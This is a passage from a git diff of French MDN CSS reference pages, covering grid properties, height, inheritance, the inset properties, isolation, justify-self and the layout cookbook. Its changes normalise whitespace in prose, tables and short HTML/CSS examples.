b/files/fr/web/css/grid-row-end/index.md @@ -47,7 +47,7 @@ grid-row-end: unset; > **Note :** Les noms de zones génèrent automatiquement les noms de lignes sous cette forme. Ainsi, `grid-row-end: foo;` permettra de désigner l'extrêmité (à la fin) de la zone nommée (sauf si une autre ligne a explicitement été nommée avec `foo-end`). - Si aucune zone ne correspond, la valeur est traitée comme la combinaison de l'entier 1 et de `<custom-ident>` (cf. définition suivante). + Si aucune zone ne correspond, la valeur est traitée comme la combinaison de l'entier 1 et de `<custom-ident>` (cf. définition suivante). ` <custom-ident``> ` ne peut pas prendre la valeur `span`. diff --git a/files/fr/web/css/grid-template-areas/index.md b/files/fr/web/css/grid-template-areas/index.md index dfca09d8a0..3c0a67c57b 100644 --- a/files/fr/web/css/grid-template-areas/index.md +++ b/files/fr/web/css/grid-template-areas/index.md @@ -65,8 +65,8 @@ grid-template-areas: unset; width: 100%; height: 250px; grid-template-areas: "head head" - "nav main" - "nav foot"; + "nav main" + "nav foot"; grid-template-rows: 50px 1fr 30px; grid-template-columns: 150px 1fr; } diff --git a/files/fr/web/css/grid-template/index.md b/files/fr/web/css/grid-template/index.md index 24be99d5ae..cab6a41013 100644 --- a/files/fr/web/css/grid-template/index.md +++ b/files/fr/web/css/grid-template/index.md @@ -70,8 +70,8 @@ grid-template: unset; width: 100%; height: 200px; grid-template: [header-left] "head head" 30px [header-right] - [main-left] "nav main" 1fr [main-right] - [footer-left] "nav foot" 30px [footer-right] + [main-left] "nav main" 1fr [main-right] + [footer-left] "nav foot" 30px [footer-right] / 120px 1fr; } diff --git a/files/fr/web/css/height/index.md b/files/fr/web/css/height/index.md index 0e63df781f..0a689da27f 100644 --- a/files/fr/web/css/height/index.md +++ b/files/fr/web/css/height/index.md @@ -44,19 +44,19 @@ height: unset; - : La valeur exprimée correspond à un pourcentage (type {{cssxref("<percentage>")}}) de la hauteur du bloc englobant. - `border-box` {{experimental_inline}} - : Si cette valeur est présente, la valeur de longueur ou le pourcentage indiqués avant s'applique à la boîte de bordure de l'élément. -- `content-box` {{experimental_inline}} +- `content-box` {{experimental_inline}} - : Si cette valeur est présente, la valeur de longueur ou le pourcentage indiqués avant s'applique à la boîte de contenu de l'élément - `auto` - : Le navigateur calculera une valeur et sélectionnera une hauteur pour l'élément ciblé. - `fill` {{experimental_inline}} - : Utilise la taille `fill-available` dans l'axe du sens de lecture ou la taille `fill-available` dans l'axe perpendiculaire au sens de lecture selon le mode d'écriture. -- `max-content` {{experimental_inline}} +- `max-content` {{experimental_inline}} - : La hauteur intrinsèque préférrée. -- `min-content` {{experimental_inline}} +- `min-content` {{experimental_inline}} - : La hauteur intrinsèque minimale. -- `available` {{experimental_inline}} +- `available` {{experimental_inline}} - : La hauteur du bloc englobant à laquelle on a soustrait la marge verticale, la bordure verticale et le remplissage (_padding_) vertical. -- `fit-content` {{experimental_inline}} +- `fit-content` {{experimental_inline}} - : La plus grande des valeurs entre : diff --git a/files/fr/web/css/id_selectors/index.md b/files/fr/web/css/id_selectors/index.md index 63096c058a..ba6922128f 100644 --- a/files/fr/web/css/id_selectors/index.md +++ b/files/fr/web/css/id_selectors/index.md @@ -53,9 +53,9 @@ Un sélecteur d'identifiant (_ID selector_) permet, pour un document HTML, de ci | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------- | ------------------------------------ | -------------------- | -| {{SpecName("CSS4 Selectors", "#id-selectors", "ID selectors")}} | {{Spec2("CSS4 Selectors")}} | | -| {{SpecName("CSS3 Selectors", "#id-selectors", "ID selectors")}} | {{Spec2("CSS3 Selectors")}} | | -| {{SpecName("CSS2.1", "selector.html#id-selectors", "ID selectors")}} | {{Spec2("CSS2.1")}} | | +| {{SpecName("CSS4 Selectors", "#id-selectors", "ID selectors")}} | {{Spec2("CSS4 Selectors")}} | | +| {{SpecName("CSS3 Selectors", "#id-selectors", "ID selectors")}} | {{Spec2("CSS3 Selectors")}} | | +| {{SpecName("CSS2.1", "selector.html#id-selectors", "ID selectors")}} | {{Spec2("CSS2.1")}} | | | {{SpecName("CSS1", "#id-as-selector", "ID selectors")}} | {{Spec2("CSS1")}} | Définition initiale. | ## Compatibilité des navigateurs diff --git a/files/fr/web/css/index.md b/files/fr/web/css/index.md index d9f3ad85f8..521425ff54 100644 --- a/files/fr/web/css/index.md +++ b/files/fr/web/css/index.md @@ -25,12 +25,12 @@ CSS est l'un des langages principaux du **Web ouvert** et a été standardisé [ ## Tutoriels -La section [Apprendre le Web](/fr/docs/Learn/CSS) fournit différents modules qui permettent d'apprendre CSS sans connaissance particulière préalable. +La section [Apprendre le Web](/fr/docs/Learn/CSS) fournit différents modules qui permettent d'apprendre CSS sans connaissance particulière préalable. - [Introduction à CSS](/fr/docs/Learn/Getting_started_with_the_web/CSS_basics) - : Dans ce module, on commence avec les bases du fonctionnement de CSS : les sélecteurs, les propriétés, écrire des règles CSS, appliquer du CSS à un document HTML, utiliser des longueurs, des couleurs et d'autres unités. On voit également la cascade et l'héritage en CSS, les bases du modèle de boîtes et comment déboguer du code CSS. - [Mettre en forme le texte](/fr/docs/Learn/CSS/Styling_text) - - : Dans ce chapitre, on voit comment mettre en forme du texte : changer la police, mettre en gras, mettre en italique, gérer les espaces entre les lignes et les lettres, ajouter des ombres portées, etc. En fin de chapitre, on voit comment appliquer des polices personnalisées sur une page et comment mettre en forme les listes et les liens. + - : Dans ce chapitre, on voit comment mettre en forme du texte : changer la police, mettre en gras, mettre en italique, gérer les espaces entre les lignes et les lettres, ajouter des ombres portées, etc. En fin de chapitre, on voit comment appliquer des polices personnalisées sur une page et comment mettre en forme les listes et les liens. - [Mettre en forme les boîtes](/fr/docs/Learn/CSS/Styling_boxes) - : Ensuite, on voit comment mettre en forme les boîtes CSS qui sont un composant clé de la mise en page d'une page web. Dans ce module, on revoit le modèle de boîtes, comment régler les propriétés de remplissage, bordures et marges, comment définir des couleurs d'arrière-plan, des images et aussi comment appliquer des ombres et des filtres sur les boîtes. - [La disposition en CSS](/fr/docs/Learn/CSS/CSS_layout) @@ -47,7 +47,7 @@ La section [Apprendre le Web](/fr/docs/Learn/CSS) fournit différents modules q - [la syntaxe et les formes du langage](/en-US/docs/Learn/CSS/First_steps/How_CSS_is_structured) - [la spécificité](/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance) et [l'héritage](/fr/docs/Web/CSS/inheritance) - [les unités et valeurs CSS](/fr/docs/Web/CSS/Valeurs_et_unit%C3%A9s_CSS) - - [le modèle de boîtes](/en-US/docs/Learn/CSS/Building_blocks/The_box_model) et [la fusion des marges](/fr/docs/CSS/margin_collapsing) + - [le modèle de boîtes](/en-US/docs/Learn/CSS/Building_blocks/The_box_model) et [la fusion des marges](/fr/docs/CSS/margin_collapsing) - [le bloc conteneur](/fr/docs/Web/CSS/All_About_The_Containing_Block) - [l'empilement](/fr/docs/Web/CSS/Comprendre_z-index/L'empilement_de_couches) et [le contexte de formatage de blocs](/fr/docs/Web/Guide/CSS/Block_formatting_context) - les concepts de [valeur initiale](/fr/docs/Web/CSS/initial_value), [valeur calculée](/fr/docs/Web/CSS/computed_value), [valeur utilisée](/fr/docs/Web/CSS/used_value) et [valeur réelle](/fr/docs/Web/CSS/actual_value) diff --git a/files/fr/web/css/inheritance/index.md b/files/fr/web/css/inheritance/index.md index 4e1d5e1331..494780af56 100644 --- a/files/fr/web/css/inheritance/index.md +++ b/files/fr/web/css/inheritance/index.md @@ -16,13 +16,13 @@ Pour [chaque propriété CSS](fr/R%c3%a9f%c3%a9rence_CSS), la spécification ind Lorsqu'aucune valeur n'est spécifiée pour une _propriété héritée_ sur un élément, l'élément récupère la [valeur calculée](/fr/docs/Web/CSS/Valeur_calculée) de cette propriété appliquée à son élément parent. Seul l'élément racine du document possède [la valeur initiale](/fr/docs/Web/CSS/Valeur_initiale) donnée via la spécification. -Un exemple caractéristique d'une propriété héritée est la propriété {{cssxref("color")}}. En définissant la règle de style : +Un exemple caractéristique d'une propriété héritée est la propriété {{cssxref("color")}}. En définissant la règle de style : ```css p { color: green; } ``` -Sur le fragment HTML suivant : +Sur le fragment HTML suivant : ```html <p>Ce paragraphe contient du <em>texte mis en emphase text</em>.</p> @@ -32,13 +32,13 @@ On obtient le résultat suivant : {{EmbedLiveSample("Propriétés_héritées")}} -Les mots « texte mis en emphase » apparaîtront en vert, car l'élément `em` a hérité de la valeur de la propriété {{cssxref("color")}} de l'élément `p`. Il n'obtient pas la valeur initiale de la propriété (qui est la couleur utilisée par l'élément racine lorsque la page ne spécifie aucune couleur). +Les mots « texte mis en emphase » apparaîtront en vert, car l'élément `em` a hérité de la valeur de la propriété {{cssxref("color")}} de l'élément `p`. Il n'obtient pas la valeur initiale de la propriété (qui est la couleur utilisée par l'élément racine lorsque la page ne spécifie aucune couleur). ## Propriétés non héritées Lorsqu'aucune valeur n'est définie pour un élément, pour une _propriété non héritée_, l'élément prendra [la valeur initiale](/fr/docs/Web/CSS/Valeur_initiale) de cette propriété (telle qu'indiquée par la spécification). -Un exemple caractéristique de propriété non héritée est la propriété {{cssxref("border")}}. En définissant la règle de style : +Un exemple caractéristique de propriété non héritée est la propriété {{cssxref("border")}}. En définissant la règle de style : ```css p { border: medium solid; } @@ -54,7 +54,7 @@ On obtient le résultat suivant : {{EmbedLiveSample("Propriétés_non_héritées")}} -Les mots « texte mis en emphase » n'auront pas de bordure (car la valeur initiale de la propriété {{cssxref("border-style") }} est `none`). +Les mots « texte mis en emphase » n'auront pas de bordure (car la valeur initiale de la propriété {{cssxref("border-style") }} est `none`). ## Notes diff --git a/files/fr/web/css/initial-letter-align/index.md b/files/fr/web/css/initial-letter-align/index.md index b764aba02a..454e9055ac 100644 --- a/files/fr/web/css/initial-letter-align/index.md +++ b/files/fr/web/css/initial-letter-align/index.md @@ -66,12 +66,12 @@ La valeur de cette propriété peut être l'un des mots-clés parmi ceux défini ```html <p class="exemple"> - Tombe, tombe, tombe ! « Cette chute n’en finira - donc pas ! Je suis curieuse de savoir combien de - milles j’ai déjà faits, » dit-elle tout haut. « Je + Tombe, tombe, tombe ! « Cette chute n’en finira + donc pas ! Je suis curieuse de savoir combien de + milles j’ai déjà faits, » dit-elle tout haut. « Je dois être bien près du centre de la terre. Voyons donc, cela serait à quatre mille milles de profondeur, - il me semble. » </p> + il me semble. » </p> ``` ### Résultat diff --git a/files/fr/web/css/initial-letter/index.md b/files/fr/web/css/initial-letter/index.md index 4888679849..53a2494a7c 100644 --- a/files/fr/web/css/initial-letter/index.md +++ b/files/fr/web/css/initial-letter/index.md @@ -61,7 +61,7 @@ La valeur de cette propriété peut être le mot-clé `normal` ou un nombre (`<n ```html <p class="exemple"> - Un grand rosier se trouvait à l’entrée du jardin ; + Un grand rosier se trouvait à l’entrée du jardin ; les roses qu’il portait étaient blanches, mais trois jardiniers étaient en train de les peindre en rouge. </p> diff --git a/files/fr/web/css/initial/index.md b/files/fr/web/css/initial/index.md index 4fbaf7f596..9bd02dc5ca 100644 --- a/files/fr/web/css/initial/index.md +++ b/files/fr/web/css/initial/index.md @@ -43,7 +43,7 @@ La propriété {{cssxref("all")}} peut être utilisée avec cette valeur afin de ce texte est avec la couleur initiale (noire) </em> ce texte est rouge aussi - </p> + </p> ``` ### Résultat diff --git a/files/fr/web/css/initial_value/index.md b/files/fr/web/css/initial_value/index.md index 83bed2e8e6..90089dae25 100644 --- a/files/fr/web/css/initial_value/index.md +++ b/files/fr/web/css/initial_value/index.md @@ -20,7 +20,7 @@ Le mot-clé {{cssxref("initial")}} a été ajouté en CSS3 afin de permettre aux | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------ | ------------------------ | --------------------- | -| [CSS Cascade 4](https://drafts.csswg.org/css-cascade-4/#initial-values) | | Définition formelle. | +| [CSS Cascade 4](https://drafts.csswg.org/css-cascade-4/#initial-values) | | Définition formelle. | | {{SpecName("CSS2.1", "cascade.html#specified-value", "initial value")}} | {{Spec2("CSS2.1")}} | Définition implicite. | ## Voir aussi diff --git a/files/fr/web/css/inset-block-end/index.md b/files/fr/web/css/inset-block-end/index.md index b25e191d87..4c0a30468d 100644 --- a/files/fr/web/css/inset-block-end/index.md +++ b/files/fr/web/css/inset-block-end/index.md @@ -11,7 +11,7 @@ original_slug: inset-block-end --- {{CSSRef}}{{SeeCompatTable}} -La propriété **`inset-block-end`** définit la fin du décalage logique en bloc (_block_) d'un élément, selon le mode d'écriture, la directionnalité et l'orientation. Elle correspond à une des propriétés parmi {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}} ou {{cssxref("left")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. +La propriété **`inset-block-end`** définit la fin du décalage logique en bloc (_block_) d'un élément, selon le mode d'écriture, la directionnalité et l'orientation. Elle correspond à une des propriétés parmi {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}} ou {{cssxref("left")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. > **Note :** Avant Firefox 63, cette propriété était implémentée avec le nom `offset-block-end`. Firefox 63 a mis à jour le nom de la propriété afin de s'accorder avec les modifications apportées à la spécification. diff --git a/files/fr/web/css/inset-block-start/index.md b/files/fr/web/css/inset-block-start/index.md index bc2066dafc..53a98c0daf 100644 --- a/files/fr/web/css/inset-block-start/index.md +++ b/files/fr/web/css/inset-block-start/index.md @@ -11,7 +11,7 @@ original_slug: inset-block-start --- {{CSSRef}}{{SeeCompatTable}} -La propriété **`inset-block-start`** définit le début du décalage logique en bloc (_block_) d'un élément, selon le mode d'écriture, la directionnalité et l'orientation. Elle correspond à une des propriétés parmi {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}} ou {{cssxref("left")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. +La propriété **`inset-block-start`** définit le début du décalage logique en bloc (_block_) d'un élément, selon le mode d'écriture, la directionnalité et l'orientation. Elle correspond à une des propriétés parmi {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}} ou {{cssxref("left")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. > **Note :** Avant Firefox 63, cette propriété était implémentée avec le nom `offset-block-start`. Firefox 63 a mis à jour son implémentation afin de suivre les modifications apportées à la spécification. diff --git a/files/fr/web/css/inset-block/index.md b/files/fr/web/css/inset-block/index.md index c545bea997..3721212dd2 100644 --- a/files/fr/web/css/inset-block/index.md +++ b/files/fr/web/css/inset-block/index.md @@ -91,5 +91,5 @@ div { ## Voir aussi -- Les propriétés physiques correspondantes : {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}}, and {{cssxref("left")}} +- Les propriétés physiques correspondantes : {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}}, and {{cssxref("left")}} - Les propriétés influençant les propriétés logiques {{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}} diff --git a/files/fr/web/css/inset-inline-end/index.md b/files/fr/web/css/inset-inline-end/index.md index 2371e342bf..81114a78d2 100644 --- a/files/fr/web/css/inset-inline-end/index.md +++ b/files/fr/web/css/inset-inline-end/index.md @@ -11,7 +11,7 @@ original_slug: inset-inline-end --- {{CSSRef}}{{SeeCompatTable}} -La propriété **`inset-inline-end`** définit la fin du décalage logique en ligne (_inline_) d'un élément, selon le mode d'écriture, la directionnalité et l'orientation. Elle correspond à une des propriétés parmi {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}} ou {{cssxref("left")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. +La propriété **`inset-inline-end`** définit la fin du décalage logique en ligne (_inline_) d'un élément, selon le mode d'écriture, la directionnalité et l'orientation. Elle correspond à une des propriétés parmi {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}} ou {{cssxref("left")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. > **Note :** Avant Firefox 63, cette propriété était implémentée avec le nom `offset-inline-end`. Firefox 63 a mis à jour son implémentation afin de suivre les modifications apportées à la spécification. diff --git a/files/fr/web/css/inset-inline-start/index.md b/files/fr/web/css/inset-inline-start/index.md index a9b9356153..b36a505100 100644 --- a/files/fr/web/css/inset-inline-start/index.md +++ b/files/fr/web/css/inset-inline-start/index.md @@ -11,7 +11,7 @@ original_slug: inset-inline-start --- {{CSSRef}}{{SeeCompatTable}} -La propriété **`inset-inline-start`** définit le début du décalage logique en ligne (_inline_) d'un élément, selon le mode d'écriture, la directionnalité et l'orientation. Elle correspond à une des propriétés parmi {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}} ou {{cssxref("left")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. +La propriété **`inset-inline-start`** définit le début du décalage logique en ligne (_inline_) d'un élément, selon le mode d'écriture, la directionnalité et l'orientation. Elle correspond à une des propriétés parmi {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}} ou {{cssxref("left")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. > **Note :** Avant Firefox 63, cette propriété était implémentée avec le nom `offset-inline-start`. Firefox 63 a mis à jour son implémentation afin de suivre les modifications apportées à la spécification. diff --git a/files/fr/web/css/inset-inline/index.md b/files/fr/web/css/inset-inline/index.md index bd8758ada6..5344c43652 100644 --- a/files/fr/web/css/inset-inline/index.md +++ b/files/fr/web/css/inset-inline/index.md @@ -91,5 +91,5 @@ div { ## Voir aussi -- Les propriétés physiques correspondantes : {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}}, and {{cssxref("left")}} +- Les propriétés physiques correspondantes : {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}}, and {{cssxref("left")}} - Les propriétés influençant les propriétés logiques {{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}} diff --git a/files/fr/web/css/integer/index.md b/files/fr/web/css/integer/index.md index 6b35f764da..4dad5413a0 100644 --- a/files/fr/web/css/integer/index.md +++ b/files/fr/web/css/integer/index.md @@ -61,6 +61,6 @@ _5 Les caractères spéciaux ne sont pas acceptés {{Compat("css.types.integer")}} -## Voir aussi +## Voir aussi - {{cssxref("<number>")}} diff --git a/files/fr/web/css/isolation/index.md b/files/fr/web/css/isolation/index.md index df078f89d1..2bddc10ac3 100644 --- a/files/fr/web/css/isolation/index.md +++ b/files/fr/web/css/isolation/index.md @@ -73,12 +73,12 @@ La propriété `isolation` est définie avec l'un des mots-clés suivants. ```html <div id="b" class="a"> - <div id="d"> - <div class="a c">auto</div> - </div> + <div id="d"> + <div class="a c">auto</div> + </div> <div id="e"> - <div class="a c">isolate</div> - </div> + <div class="a c">isolate</div> + </div> </div> ``` diff --git a/files/fr/web/css/justify-self/index.md b/files/fr/web/css/justify-self/index.md index 9bace72a4f..e46a4340a8 100644 --- a/files/fr/web/css/justify-self/index.md +++ b/files/fr/web/css/justify-self/index.md @@ -79,7 +79,7 @@ Cette propriété peut être définie selon trois formes différentes : - `start` - : L'élément est aligné vers le début du conteneur pour l'axe en ligne. - `end` - - : L'élément est aligné vers la fin du conteneur pour l'axe en ligne. + - : L'élément est aligné vers la fin du conteneur pour l'axe en ligne. - `flex-start` - : L'élément est aligné vers le début du conteneur flexible pour l'axe en ligne. Cette valeur ne s'applique qu'aux éléments flexibles. Pour les éléments qui ne font pas partie d'un conteneur flexible, cette valeur correspond à `start`. @@ -87,7 +87,7 @@ Cette propriété peut être définie selon trois formes différentes : - : L'élément est aligné vers la fin du conteneur flexible pour l'axe en ligne. Cette valeur ne s'applique qu'aux éléments flexibles. Pour les éléments qui ne font pas partie d'un conteneur flexible, cette valeur correspond à `end`. - `self-start` - - : L'élément est aligné sur le bord du conteneur au début de l'axe en ligne. + - : L'élément est aligné sur le bord du conteneur au début de l'axe en ligne. - `self-end` - : L'élément est aligné sur le bord du conteneur à la fin de l'axe en ligne. - `center` @@ -95,7 +95,7 @@ Cette propriété peut être définie selon trois formes différentes : - `left` - : L'élément est aligné vers la gauche du conteneur dans le sens de l'axe en ligne. - `right` - - : L'élément est aligné vers la droite du conteneur dans le sens de l'axe en ligne. + - : L'élément est aligné vers la droite du conteneur dans le sens de l'axe en ligne. - `baseline first baseline` `last baseline` - : Ces valeurs permettent de définir l'alignement par rapport à la ligne de base pour l'élément du conteneur avec la ligne de base la plus haute ou la plus basse. diff --git a/files/fr/web/css/layout_cookbook/card/index.md b/files/fr/web/css/layout_cookbook/card/index.md index eea4811054..2ab2bb1c52 100644 --- a/files/fr/web/css/layout_cookbook/card/index.md +++ b/files/fr/web/css/layout_cookbook/card/index.md @@ -72,5 +72,5 @@ Les différentes méthodes évoquées plus haut peuvent disposer d'une prise en ## Voir aussi -- {{Cssxref("grid-template-columns")}}, {{Cssxref("grid-template-rows")}}, {{Cssxref("gap")}} +- {{Cssxref("grid-template-columns")}}, {{Cssxref("grid-template-rows")}}, {{Cssxref("gap")}} - [_Inclusive Components: Card_ (en anglais)](https://inclusive-components.design/cards/) diff --git a/files/fr/web/css/layout_cookbook/center_an_element/index.md b/files/fr/web/css/layout_cookbook/center_an_element/index.md index 13c7c36aa0..88190e59f1 100644 --- a/files/fr/web/css/layout_cookbook/center_an_element/index.md +++ b/files/fr/web/css/layout_cookbook/center_an_element/index.md @@ -13,13 +13,13 @@ original_slug: Web/CSS/Layout_cookbook/Centrer_un_element --- {{CSSRef}} -Comment centrer une boîte dans une autre boîte ? Centrer à la fois horizontalement et verticalement était difficile avant l'arrivée des boîtes flexibles (_flexbox_), mais c'est désormais beaucoup plus simple grâce aux propriétés du module de spécification _Box Alignment_. +Comment centrer une boîte dans une autre boîte ? Centrer à la fois horizontalement et verticalement était difficile avant l'arrivée des boîtes flexibles (_flexbox_), mais c'est désormais beaucoup plus simple grâce aux propriétés du module de spécification _Box Alignment_.  ## Spécifications sommaires -Centrer un élément à la fois horizontalement et verticalement dans un autre élément. +Centrer un élément à la fois horizontalement et verticalement dans un autre élément. ## Recette @@ -31,10 +31,10 @@ Centrer un élément à la fois horizontalement et verticalement dans un autre Pour centrer une boîte dans une autre, on a donné au contenant une propriété `display: flex`. -Ensuite, on a paramétré {{cssxref("align-items")}} avec la valeur `center` pour centrer la boîte verticalement, et {{cssxref("justify-content")}} avec la valeur `center` pour centrer horizontalement. +Ensuite, on a paramétré {{cssxref("align-items")}} avec la valeur `center` pour centrer la boîte verticalement, et {{cssxref("justify-content")}} avec la valeur `center` pour centrer horizontalement. -À l'avenir, nous pourrons peut-être centrer les éléments sans avoir à transformer le parent en contenant flexible, puisque les propriétés de Box Alignment utilisées ici sont aussi faites pour s'appliquer à une disposition en bloc classique. -Cependant, sa prise en charge dans ce cas (disposition en bloc) est actuellement limitée ; l'utilisation de Flexbox pour centrer est donc, pour le moment, la technique la plus robuste. +À l'avenir, nous pourrons peut-être centrer les éléments sans avoir à transformer le parent en contenant flexible, puisque les propriétés de Box Alignment utilisées ici sont aussi faites pour s'appliquer à une disposition en bloc classique. +Cependant, sa prise en charge dans ce cas (disposition en bloc) est actuellement limitée ; l'utilisation de Flexbox pour centrer est donc, pour le moment, la technique la plus robuste. ## Compatibilité des navigateurs diff --git a/files/fr/web/css/layout_cookbook/column_layouts/index.md b/files/fr/web/css/layout_cookbook/column_layouts/index.md index a6c52ced06..8daedbc5b0 100644 --- a/files/fr/web/css/layout_cookbook/column_layouts/index.md +++ b/files/fr/web/css/layout_cookbook/column_layouts/index.md @@ -54,7 +54,7 @@ Les boîtes flexibles peuvent être utilisées afin de diviser du contenu en col > **Note :** [Télécharger cet exemple](https://github.com/mdn/css-examples/blob/master/css-cookbook/columns-flexbox--download.html) -Les boîtes flexibles peuvent également être utilisées afin de créer des dispositions où les objets flexibles « passent à la ligne » en utilisant la propriété {{cssxref("flex-wrap")}} et la valeur `wrap` sur le conteneur. Les nouvelles lignes répartiront l'espace pour cette ligne uniquement, il n'y aura pas d'alignement d'une ligne à l'autre (comme on peut le voir dans l'exemple qui suit). C'est pour cette raison qu'on décrit les boîtes flexibles comme étant une méthode de disposition sur une seul dimension : cette méthode permet de contrôler la disposition en ligne ou en colonne mais pas de gérer les deux à la fois. +Les boîtes flexibles peuvent également être utilisées afin de créer des dispositions où les objets flexibles « passent à la ligne » en utilisant la propriété {{cssxref("flex-wrap")}} et la valeur `wrap` sur le conteneur. Les nouvelles lignes répartiront l'espace pour cette ligne uniquement, il n'y aura pas d'alignement d'une ligne à l'autre (comme on peut le voir dans l'exemple qui suit). C'est pour cette raison qu'on décrit les boîtes flexibles comme étant une méthode de disposition sur une seul dimension : cette méthode permet de contrôler la disposition en ligne ou en colonne mais pas de gérer les deux à la fois. {{EmbedGHLiveSample("css-examples/css-cookbook/columns-flexbox-wrapping.html", '100%', 720)}} diff --git a/files/fr/web/css/layout_cookbook/contribute_a_recipe/cookbook_template/index.md b/files/fr/web/css/layout_cookbook/contribute_a_recipe/cookbook_template/index.md index 769108c896..5fe179b381 100644 --- a/files/fr/web/css/layout_cookbook/contribute_a_recipe/cookbook_template/index.md +++ b/files/fr/web/css/layout_cookbook/contribute_a_recipe/cookbook_template/index.md @@ -31,7 +31,7 @@ _Il faut modifier le lien pour cibler la version téléchargeable de votre exemp ## Choix effectués -_Expliquez ici les décisions prises pour réaliser cette recette. Pourquoi avez-vous choisi telle méthode de disposition ? Vous pouvez inclure ici d'autres exemples. Cette section est assez flexible car la complexité d'une recette peut varier grandement._ +_Expliquez ici les décisions prises pour réaliser cette recette. Pourquoi avez-vous choisi telle méthode de disposition ? Vous pouvez inclure ici d'autres exemples. Cette section est assez flexible car la complexité d'une recette peut varier grandement._ ## Méthodes de recours ou alternatives diff --git a/files/fr/web/css/layout_cookbook/contribute_a_recipe/index.md b/files/fr/web/css/layout_cookbook/contribute_a_recipe/index.md index 62d542e3ef..8825c24ab8 100644 --- a/files/fr/web/css/layout_cookbook/contribute_a_recipe/index.md +++ b/files/fr/web/css/layout_cookbook/contribute_a_recipe/index.md @@ -55,7 +55,7 @@ Dans l'en-tête, il y a deux blocs pour le style. Le premier concerne les élém Le HTML du composant doit être ajouté deux fois. Pour commencer dans la section avec la classe `preview` puis dans l'élément `textarea` `playable-html`. -Le CSS éditable (celui du second bloc de l'en-tête) doit également être recopié dans la section `playable-css`. +Le CSS éditable (celui du second bloc de l'en-tête) doit également être recopié dans la section `playable-css`. Pour voir un exemple existant et comprendre les différentes parties, vous pouvez consulter [center.html](https://github.com/mdn/css-examples/blob/master/css-cookbook/center.html) qui est utilisé sur la page [Comment centrer un élément](/fr/docs/Web/CSS/Layout_cookbook/Center_an_element). diff --git a/files/fr/web/css/layout_cookbook/index.md b/files/fr/web/css/layout_cookbook/index.md index 9a7a809a9d..3ba09e0f5f 100644 --- a/files/fr/web/css/layout_cookbook/index.md +++ b/files/fr/web/css/layout_cookbook/index.md @@ -21,7 +21,7 @@ Le livre de recettes CSS vise à illustrer différents motifs qu'on retrouve fr | [Colonnes](/fr/docs/Web/CSS/Layout_cookbook/Disposition_en_colonnes) | Comment choisir entre une disposition multi-colonnes, les boites flexibles (flexbox) ou les grilles CSS pour organiser des colonnes de contenu. | [Grilles CSS](/fr/docs/Web/CSS/CSS_Grid_Layout), [Disposition multi-colonnes](/fr/docs/Web/CSS/CSS_Columns), [Flexbox](/fr/docs/Web/CSS/CSS_Flexible_Box_Layout) | | [Centrer un élément](/fr/docs/Web/CSS/Layout_cookbook/Centrer_un_element) | Comment centrer un élément horizontalement et verticalement. | [Flexbox](/fr/docs/Web/CSS/CSS_Flexible_Box_Layout), [Alignement des boîtes](/fr/docs/Web/CSS/CSS_Box_Alignment) | | [Bas de page adhérant](/fr/docs/Web/CSS/Layout_cookbook/Bas_de_page_adhérant) | Créer un pied de page qui se situe en bas du conteneur ou de la zone d'affichage (_viewport_) lorsque le contenu est plus petit que la zone ou le conteneur. | [Grilles CSS](/fr/docs/Web/CSS/CSS_Grid_Layout), [Flexbox](/fr/docs/Web/CSS/CSS_Flexible_Box_Layout) | -| [Navigation segmentée](/fr/docs/Web/CSS/Layout_cookbook/Navigation_segmentée) | Un motif de navigation où certains liens sont séparés des autres. | [Flexbox](/fr/docs/Web/CSS/CSS_Flexible_Box_Layout), {{cssxref("margin")}} | +| [Navigation segmentée](/fr/docs/Web/CSS/Layout_cookbook/Navigation_segmentée) | Un motif de navigation où certains liens sont séparés des autres. | [Flexbox](/fr/docs/Web/CSS/CSS_Flexible_Box_Layout), {{cssxref("margin")}} | | [Navigation avec un fil d'Ariane (_breadcrumb_)](/fr/docs/Web/CSS/Layout_cookbook/Navigation_Breadcrumb) | Créer une liste de liens qui permette au visiteur de naviguer selon la hiérarchie des pages. | [Flexbox](/fr/docs/Web/CSS/CSS_Flexible_Box_Layout) | | [Liste de groupes avec indicateurs](/fr/docs/Web/CSS/Layout_cookbook/Liste_groupes_avec_indicateurs) | Afficher une liste d'éléments avec chacun un indicateur numérique. | [Flexbox](/fr/docs/Web/CSS/CSS_Flexible_Box_Layout), [Alignement des boîtes](/fr/docs/Web/CSS/CSS_Box_Alignment) | | [Pagination](/fr/docs/Web/CSS/Layout_cookbook/Pagination) | Comment créer des liens pour différentes pages, ordonnées, de contenu (les résultats d'une recherche par exemple). | [Flexbox](/fr/docs/Web/CSS/CSS_Flexible_Box_Layout), [Alignement des boîtes](/fr/docs/Web/CSS/CSS_Box_Alignment) | diff --git 